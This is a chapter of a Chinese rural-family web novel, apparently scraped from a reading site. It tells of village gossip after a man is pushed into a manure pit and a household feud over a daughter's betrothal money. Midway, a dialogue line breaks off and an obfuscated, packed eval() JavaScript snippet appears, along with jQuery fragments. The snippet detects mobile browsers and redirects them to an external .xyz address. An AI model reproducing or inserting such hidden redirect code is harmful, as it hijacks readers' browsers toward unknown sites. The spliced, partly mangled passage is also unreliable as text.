45. 第 45 章

    孙大的事第二天就传遍了村里,饶絮去后山摘野菜的时候还遇见两个同行的婶子说笑,道是朱氏昨晚骂个不停,和她有仇没仇的都挨了话,最后还是隔壁邻居受不了出门吼了几句才算消停,今儿他们还在互相猜究竟是谁那么损,把孙大推进粪坑里了,偏偏孙大今天没出门,他们就算想问原委都找不到人。


    饶絮好奇,听了两耳朵后就有些怀疑游满,事情挨得太近了,前天朱氏才和她吵了架,昨天朱氏儿子就倒了霉,但一想游满整天都在镇上,和孙大碰不着,而且依对方的性子怎么出这种损招,还不如直接踹两脚。


    即便是气到头脑发昏的朱媒婆也只是怀疑了下游满就把人略过了,村里人谁不知道那煞星的脾气,与其相信他扔猪屎,还不如说他直接拿刀把人砍了。


    “可是除了饶絮那死丫头,还能有谁呢?”她掰着指头数了数最近可能得罪的人,虽然有些不满饶梅和胡家没找她说媒,但她也知道好歹,什么人能得罪什么人不能得罪心里有数,半句口风都没敢露出不满来,因此也不大可能是饶家。


    数了半天,她自觉找到了人,定然是挨着她家菜地的丁氏,前两天地里的大白菜突然没了两颗,刚巧丁氏就拿着白菜回家说要煮鱼汤吃,她气不过骂了两句,没成想那老不死的居然冲着她儿子下毒手!


    听着屋里儿子的怨恨声,朱氏怒上心头,撸了把袖子就去找丁氏算账去了。


    饶家这边,自从饶梅和胡老大定下婚事,周兰草便笑开了花,不住的夸赞饶梅厉害有本事,偶尔也和张秀芝别别苗头,只是她自诩是赢家通常说不到两句就掩着嘴走开了,直气得张秀芝拉着饶荷骂了好几次。


    胡老大给的十五贯聘银被她们一拿到手就花了三四贯出去,将饶兴贵送到了镇上的私塾读书。


    他原本是在附近几个村子办的村塾里跟着先生学,一起的还有李怀泽,但饶兴贵早就嫌弃这老先生讲得不行,整天之乎者也摇头晃脑的做出个酸秀才的模样,回到家来和饶四寿周兰草一说,两夫妻都怕耽误了儿子的天资,暗暗打算要把人送到镇上去读书。


    这也是之前饶春妞回娘家来一说胡老大的事,他们想都没想就应下了,舍去个讨人厌的饶絮,既能让家里日子好过点又能让饶兴贵有个好前程,简直就是天上掉的馅饼,没有不同意的道理。


    后面出了点纰漏,所幸胡老大是个肚量不错的,而且他们家饶梅相貌也好,才没误了这门亲事。


    只是这样一来,大房的张秀芝就不干了,按理还没分家,不论是男人挣的银子还是姑娘家的聘礼嫁妆,都得归拢到刘秋桂那里,几家人一起攒一起花,从前都是这样的,没理由饶梅攀上了高枝儿就把他们大房给抛下了。


    饶兴贵倒是美滋滋的去镇上了,他们兴武的亲事还没着落呢!


    饶兴贵前脚去镇上,后脚两妯娌就在家里闹起来了。


    “娘,你不能这么偏心啊,老大还有兴文兴武挣的钱可都交给你了,不是爹娘你们说的吗,只要没分家,钱都得从你们二老手里过,哪有老四媳妇独占的说法!”


    张秀芝掩面呜呜哭泣,哽咽着道:“我们兴文兴武没读过书,就认了几个字就跟着他爹下地干活挣钱了,兴富当初去了村塾几年,是大家一起供的,后面是他自己不想念了才没去。我原以为这样也就罢了,结果兴贵大了后弟妹还想把他送去村塾,一家子人省着吃省着穿才挤出来血汗钱送他去,我何曾说过什么?”


    “如今老四和弟妹这么做,简直就是不把我和他大哥放在眼里,也不把我们大房这些年的辛苦记在心里,是想活生生拖累侄子,想逼死我啊!”


    饶荷看见她娘捶桌嚎啕起来,转头又看见她嫂子挺着七个月大的肚子掉眼泪,一时也悲从中来,啪嗒啪嗒的落泪。


    刘秋桂黑着脸,还没来得及说话,受了番指责的周兰草可忍不下去了。


    “大嫂,咱们说话要凭良心!当初是爹娘不送兴文兴武读书吗,那是他们两弟兄读不进去,每天不是偷鸡摸狗就是和夫子调皮捣蛋,最后人家实在不肯收了才没再去。”


    周兰草手指都在发颤,当初她刚嫁进来没多久就生了饶梅这个闺女,被老两口死命嫌弃看不上,背地里还挨张秀芝欺负,骂她是个不能下蛋的母鸡,要不是还有个冯竹分担火力,她早就被眼泪和苦水淹没了。


    “还有兴文,他成亲的聘礼排场不是娘给的钱?那些钱难道没有我和老四兴富小梅的份儿?要真说起来,那里面还有二哥的银子呢,你现在嘴一张全都是你们大房在养家,我们难道都是死人不成?”


    “如今这银子是小梅的聘银,胡家那边看重脸面又急着成婚,要是我全拿了出来到时候大嫂你给我操持个体面风光的婚事来?”周兰草见大房三个女的哭得凄惨可怜,仿佛她们四房是个什么丧尽天良的恶霸,她恨恨拧了下饶梅的胳膊,饶梅也立马低头默默掉眼泪。


    “那也不能让你全昧了去!”张秀芝不甘示弱道,她也不和周兰草胡扯,而是看向刘秋桂,“娘你说句公道话,兴武排行第二,他如今婚事都还没着落,就算按着四弟妹的要求办个风风光光的排场出来,也不过四五贯钱,拢共十五贯,她家就占去了十贯,总不能真让我们一文钱也见不着吧?”


    “四五贯哪里够?”周兰草立马道。


    “哪里不够?当初饶絮那丫头出嫁可没要家里出一枚铜子,不照样体面周全?你拿过去五贯还不够,难不成真把家里当做大户,把小梅看成千金小姐了?”


    周兰草还欲再说些什么,那边方桃雨却突然捂着肚子叫嚷起来,张秀芝饶荷慌成一团忙上前去搀扶着坐下,她心里顿觉不好,转头去看,果然见刘秋桂的脸色越发难看。


    “快把桃雨搀进屋里去躺着,再煮个红糖鸡蛋送去。”方氏肚子里的可是他们饶家下一代的老大,实打实的金孙银宝,可不能有一点疏忽。


    张秀芝抹着泪同饶荷扶着方桃雨出门,丢下一句,“娘您就算看不上我和大福,也疼疼这几个小的吧,兴武说不上亲,桃雨还有两月也要临盆了,要是弟妹真把银子都自个儿花出去了,我们大房这日子可真就没发过了。”


    刘秋桂叹了口气,看向周兰草,手一伸,“拿出来吧。”


    “娘——”


    “你大嫂的话你也听见了,没这么做人的道理。除非你是打算就这么一锤子买卖,日后兴贵在镇上的开销都由你们两夫妻张


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038330|158600||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    罗,我和你爹,还有大房都再不管了。”


    那怎么成!


    周兰草险些叫出声来,顶着刘秋桂阴恻恻的目光又把话咽了下去。


    光是在村塾里的开销就不得了,夫子的束脩笔墨的花费,还有每年的两三身新衣,粗略算去一年三四贯都不止,别说如今在镇上银钱翻倍的涨,就饶四寿那楞头,一年哪儿挣得到这么多钱。


    她没了狡辩的话,但一想起成串的铜板要从她手里溜走心就止不住的疼,磨磨唧唧不肯回房取钱。


    饶梅也咬了咬唇,那是她的聘银,给她亲弟弟花些也就算了,花在其他人身上算怎么回事?从前她在家里做绣活一文钱都没落到手里,如今要出嫁了难不成也一文没有?


    “奶,”她红着眼上前,“那我的嫁妆呢,总不能到最后大家都安逸了,我却什么都不剩?”


    刘秋桂拍了拍她手背,似乎也觉着将聘银全扣下不妥,胡家不是什么穷鬼落魄人,先前打算陪嫁的一床被褥一个箱子两身衣裳就不成了,而且兴贵是要做秀才公的,身为秀才公亲姐姐的饶梅也不能太简陋了,否则说出去让人笑话。


    “咱们家从前是不讲究什么嫁妆不嫁妆的,但前头饶絮那丫头自个张罗着出嫁了,她爹给她预备了两贯钱当压箱银,这两贯自然是得你爹娘出。”刘秋桂想了想后慢悠悠道。


    周兰草闻言就睁大了眼,他们哪里来的钱?


    刘秋桂可不管这些,她自顾自道:“但胡家出手阔绰,提亲那天也给咱家做了脸面,总不能叫你吃亏嫁过去矮一头,就由我和你爷再出三贯,给你凑个五贯钱的压箱银,再给你打个妆奁,这说出去也是村里的头一份了。”


    刘秋桂自觉想得十分周到,要是老四两口子能出两贯钱那饶梅就多些银子傍身,没什么坏处,要是没有那也是他们不中用,碍不着她和老头子什么事。


    不管周兰草如何拖延哭泣委屈,最后剩下的十贯钱还是被刘秋桂闯进他们屋里摸走了,连包铜板的蓝布都没留下。


    饶家的一干风波饶絮自然不知道,即便知道她也只会拍手叫好,从前家里处处和谐那是因为有人在做事吃苦,如今没了人又有金钱方面的瓜葛,且有他们继续闹腾的时候。


    不过对这段时间来的她来说,遇到的远不止这两件高兴事,晚间浑身血污的游满就带回来个好消息。


    “真的?靠谱吗?”


    饶絮不大相信,但看游满神色也没泼冷水,他们两人现在没什么花大钱的地方所以过得还算安稳,但总不能一直这么下去。


    单说这座屋子,就是村里之前建给孤寡老人住的,只是这两年村里没这样的老人,当时游满又走投无路,村长不能不管才让他暂时先住着,如今成了家又在挣钱,总不能长久住下去,得还回去,所以还是要买块地自己建房子住起来才安心。


    “不好说,今天不方便我就没细问,我明天找管事的问清楚点再决定。”游满干了整天活,又被管事拉去做苦力,肚子饿得不行,当下连衣服都没空换就端着碗在屋外吃起来。


    饶絮闻言没多问,一个劲儿给他夹菜,又去厨房烧了大锅热水让他饭后洗澡,顺带着把脱下来的臭衣服给洗了。